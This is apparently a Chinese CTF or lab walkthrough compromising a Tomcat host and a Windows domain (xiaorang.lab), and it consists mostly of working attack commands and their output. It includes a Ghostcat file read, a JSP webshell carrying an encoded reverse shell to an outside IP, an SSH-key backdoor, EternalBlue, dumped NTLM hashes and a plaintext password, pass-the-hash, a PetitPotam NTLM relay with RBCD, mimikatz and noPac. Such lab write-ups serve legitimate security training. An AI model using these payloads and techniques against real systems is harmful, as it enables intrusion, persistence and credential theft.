扫描发现开放了8080端口
dirsearch进行路径扫描.
发现是Tomcat 9.0.30,该版本存在文件包含漏洞
tomcat的许多重要信息存储在/WEB-INF/web.xml下,然而不能直接访问,我们利用漏洞来读文件.
python3 ajpShooter.py http://39.98.118.38:8080 8009 /WEB-INF/web.xml read
结果如下
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<security-constraint>
<display-name>Tomcat Server Configuration Security Constraint</display-name>
<web-resource-collection>
<web-resource-name>Protected Area</web-resource-name>
<url-pattern>/upload/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
<error-page>
<error-code>404</error-code>
<location>/404.html</location>
</error-page>
<error-page>
<error-code>403</error-code>
<location>/error.html</location>
</error-page>
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/error.html</location>
</error-page>
<servlet>
<servlet-name>HelloServlet</servlet-name>
<servlet-class>com.example.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HelloServlet</servlet-name>
<url-pattern>/HelloServlet</url-pattern>
</servlet-mapping>
<servlet>
<display-name>LoginServlet</display-name>
<servlet-name>LoginServlet</servlet-name>
<servlet-class>com.example.LoginServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginServlet</servlet-name>
<url-pattern>/LoginServlet</url-pattern>
</servlet-mapping>
<servlet>
<display-name>RegisterServlet</display-name>
<servlet-name>RegisterServlet</servlet-name>
<servlet-class>com.example.RegisterServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>RegisterServlet</servlet-name>
<url-pattern>/RegisterServlet</url-pattern>
</servlet-mapping>
<servlet>
<display-name>UploadTestServlet</display-name>
<servlet-name>UploadTestServlet</servlet-name>
<servlet-class>com.example.UploadTestServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadTestServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
<servlet>
<display-name>DownloadFileServlet</display-name>
<servlet-name>DownloadFileServlet</servlet-name>
<servlet-class>com.example.DownloadFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadFileServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
</web-app>
其中的url-pattern标签指明了一些方法的路径,我们访问这个/UploadServlet,去传一个jsp马(扩展名随意)
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMjMuNDAvMTExMSAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
然后去利用漏洞执行文件/upload/baf277cd8b8dda906a9fc877bb322235/20240927013233060.txt
python3 ajpShooter.py http://39.98.118.38:8080 8009 /upload/baf277cd8b8dda906a9fc877bb322235/20240927013233060.txt eval
成功接收到了反弹的shell.直接就是root权限,可以直接读flag
flag:flag{50c14d04-2ead-4b03-a1b5-96249cec839f}
写公钥留后门
ssh-keygen
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINCNoNQvY1VqLZ40gTHUcXP/S88pOPZEi/Uv9rHXkJaM lbz@lbz" > /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
架个nps代理,传fscan扫内网.
./fscan -h 172.22.11.76/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.11.6 is alive
(icmp) Target 172.22.11.26 is alive
(icmp) Target 172.22.11.76 is alive
(icmp) Target 172.22.11.45 is alive
[*] Icmp alive hosts len is: 4
172.22.11.45:139 open
172.22.11.26:139 open
172.22.11.6:139 open
172.22.11.45:135 open
172.22.11.26:135 open
172.22.11.6:135 open
172.22.11.76:22 open
172.22.11.6:88 open
172.22.11.76:8080 open
172.22.11.45:445 open
172.22.11.76:8009 open
172.22.11.26:445 open
172.22.11.6:445 open
[*] alive ports len is: 13
start vulscan
[*] NetInfo
[*]172.22.11.6
[->]XIAORANG-DC
[->]172.22.11.6
[*] NetBios 172.22.11.26 XIAORANG\XR-LCM3AE8B
[*] NetBios 172.22.11.6 [+] DC:XIAORANG\XIAORANG-DC
[*] NetInfo
[*]172.22.11.26
[->]XR-LCM3AE8B
[->]172.22.11.26
[+] MS17-010 172.22.11.45 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] WebTitle http://172.22.11.76:8080 code:200 len:7091 title:后台管理
[*] NetBios 172.22.11.45 XR-DESKTOP.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
已完成 13/13
[*] 扫描结束,耗时: 8.053630894s
有三台存活的机器
172.22.11.6 XIAORANG-DC
172.22.11.26 XR-LCM3AE8B
172.22.11.45 XR-DESKTOP.xiaorang.lab
先把这个172.22.11.45有MS17-010的打掉.
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.11.45
exploit
hashdump一下
Administrator:500:aad3b435b51404eeaad3b435b51404ee:48f6da83eb89a4da8a1cc963b855a799:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
然后再creds_all一下
Username Domain NTLM SHA1
-------- ------ ---- ----
XR-DESKTOP$ XIAORANG 0b25ae7e164675c93d84d36b438218b9 a982e2b54ea63af21df3ace6aa8bb5ecf01d6fb9
yangmei XIAORANG 25e42ef4cc0ab6a8ff9e3edbbda91841 6b2838f81b57faed5d860adaf9401b0edb269a6f
还得到了yangmei的明文密码
[email protected]/xrihGHgoNZQ
pth一个Administrator的ntlm登录.
proxychains python3 psexec.py -hashes :48f6da83eb89a4da8a1cc963b855a799 [email protected] -codec gbk
成功得到第二个flag
flag:flag{15391f73-184e-4c7a-87e3-b041d9493e81}
rdp远程登录yangmei,传个sharphound跑一下
啥也看不出来,看看别人的wp咋搞的.看提示有Coerce Authentication和WebClient,直接crackmapexec密码喷洒看看WebClient和petitpotam.
由于kali自带的crackmapexec功能有限,我们去下个打包的cme二进制文件去用
查看Webclient:
proxychains ./cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M Webdav
172.22.11.26开放了webclient的服务.
查看petitpotam:
proxychains ./cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M PetitPotam
也能打.
这里要打一个无ADCS + PetitPotam + NTLM
中继.简单来说也是一种ntlm relay的打法,过程如下.
1、用petitpotam触发目标访问HTTP服务
2、目标使用webclient携带NTLM认证访问中继,并将NTLM认证中继到LDAP
3、获取到机器账号身份
4、以机器账户的身份修改其自身的msDS-AllowedToActOnBehalfOfOtherIdentity属性,从而允许我们访问到目标机器。
首先需要将入口机80端口接收到的流量转发到我的攻击机上.
ssh -i .rsa [email protected] -D 123.57.23.40:2333 -R \*:79:127.0.0.1:80 #同时成功的登录了
nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 & #在入口机执行
利用之前抓到的XR-Desktop
机器账户去打ldap服务器,建立webclient和ldap服务器之间的链接,用于中继身份认证.
proxychains python3 ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access
接着使用PetitPotam
触发XR-LCM3AE8B
强制认证到172.22.11.26
proxychains python3 petitpotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26
可以看到已经成功的完成了认证.由于我们是使用XR-Desktop进行中继的,因此该机器账户获得了172.22.11.26的很多权限,直接打RBCD.
伪造一个管理员的ST.
proxychains impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :0b25ae7e164675c93d84d36b438218b9 xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6
然后进行配置
export KRB5CCNAME=administrator@[email protected]
sudo vim /etc/hosts
#填入内容如下
172.22.11.26 XR-LCM3AE8B.xiaorang.lab
哈希横传登录
proxychains python3 ~/CTFtools/impacket/examples/psexec.py [email protected] -k -no-pass -dc-ip 172.22.11.6 -codec gbk
成功拿到了第三个flag
flag:flag{73a94200-d6ec-4758-b322-efb456977ddb}
添加个管理员用户,rdp上线.
登录的时候提示zhanghui在线,这说明还有其他的域用户啊!
上个mimikatz去hashdump一下
privilege::debug
sekurlsa::logonpasswords
直接就抓到了这个zhanghui的NTLM是1232126b24cdf8c9bd2f788a9d7c7ed1
.按照靶场提示最后要打一个nopac,虽然基本能猜到,但是还是上个Sharphound看看.(这里需要用System权限跑,一般的Administrator都不好使)
然后分析了一圈还是啥都没分析出来...索性直接试着去打nopac了.
什么是nopac攻击?
- CVE-2021-42278,机器账户的名字一般来说应该以`$`结尾,但AD没有对域内机器账户名做验证。
- CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在`TGS_REP`阶段,这个账户不存在的时候,DC会使用自己的密钥加密`TGS Ticket`,提供一个属于该账户的`PAC`,然后我们就得到了一个高权限ST。
- 假如域内有一台域控名为 DC(域控对应的机器用户为 DC$),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 SAMTHEADMIN-48$,再把机器用户 SAMTHEADMIN-48$ 的 sAMAccountName 改成 DC。然后利用 DC 去申请一个TGT票据。再把 DC 的sAMAccountName 改为 SAMTHEADMIN-48$。这个时候 KDC 就会判断域内没有 DC 这个用户,自动去搜索 DC$(DC$是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。
直接工具一把梭
proxychains python3 noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell
flag:flag{3172bfd1-8b0e-43dd-9cbe-d0dea6d22c97}
共用时2小时12分钟.无论是Petitpotam+webclient打ntlmrelay,还是nopac都是第一次打.这里积累了一个重要的经验,就是bloodhound并不是什么都能看出来(这次什么都没看出来).后面还要系统的去看,去整理一个Adfind.exe的使用指南.感觉自己这种以题代学的方法挺好的,但是靶场的数目有点少.后面得想想具体咋办了...